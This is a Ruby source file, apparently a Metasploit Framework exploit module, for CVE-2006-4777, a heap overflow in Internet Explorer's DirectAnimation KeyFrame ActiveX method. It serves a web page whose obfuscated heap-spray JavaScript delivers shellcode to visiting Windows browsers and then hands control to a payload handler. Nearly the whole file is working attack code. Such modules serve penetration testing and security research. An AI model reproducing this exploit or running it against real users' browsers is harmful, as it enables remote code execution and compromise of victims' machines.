126 lines
3.5 KiB
Ruby
126 lines
3.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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#
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# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
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#
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#include Msf::Exploit::Remote::BrowserAutopwn
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#autopwn_info({
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# :ua_name => HttpClients::IE,
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# :ua_minver => "6.0",
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# :javascript => true,
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# :os_name => OperatingSystems::WINDOWS,
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# :classid => 'DirectAnimation.PathControl',
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# :method => 'KeyFrame',
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# :rank => NormalRanking # reliable memory corruption
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#})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
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'Description' => %q{
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This module exploits a heap overflow vulnerability in the KeyFrame method of the
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direct animation ActiveX control. This is a port of the exploit implemented by
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Alexander Sotirov.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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# Did all the hard work
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'Alexander Sotirov <asotirov[at]determina.com>',
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# Integrated into msf
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'skape',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-4777' ],
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[ 'OSVDB', '28842' ],
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[ 'BID', '20047' ],
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[ 'MSB', 'MS06-067' ],
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[ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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# Maximum payload size is limited by heaplib
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'Space' => 870,
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'MinNops' => 32,
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'Compat' =>
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{
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'ConnectionType' => '-find',
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},
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000/XP/2003 Universal', { }],
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],
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'DisclosureDate' => 'Nov 14 2006',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# This is taken directly from Alex's exploit -- all credit goes to him.
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trigger_js = heaplib(
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"var target = new ActiveXObject('DirectAnimation.PathControl');\n" +
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"var heap = new heapLib.ie();\n" +
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"var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +
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"var jmpecx = 0x4058b5;\n" +
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"var vtable = heap.vtable(shellcode, jmpecx);\n" +
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"var fakeObjPtr = heap.lookasideAddr(vtable);\n" +
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"var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n" +
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"heap.gc();\n" +
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"for (var i = 0; i < 100; i++)\n" +
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" heap.alloc(vtable)\n" +
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"heap.lookaside(vtable);\n" +
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"for (var i = 0; i < 100; i++)\n" +
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" heap.alloc(0x2010)\n" +
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"heap.freeList(fakeObjChunk, 2);\n" +
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"target.KeyFrame(0x40000801, new Array(1), new Array(1));\n" +
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"delete heap;\n")
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# Obfuscate it up a bit
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trigger_js = obfuscate_js(trigger_js,
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'Symbols' =>
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{
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'Variables' => [ 'target', 'heap', 'shellcode', 'jmpecx', 'fakeObjPtr', 'fakeObjChunk' ]
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})
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# Fire off the page to the client
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send_response(cli,
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"<html><script language='javascript'>#{trigger_js}</script></html>")
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# Handle the payload
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handler(cli)
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end
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end
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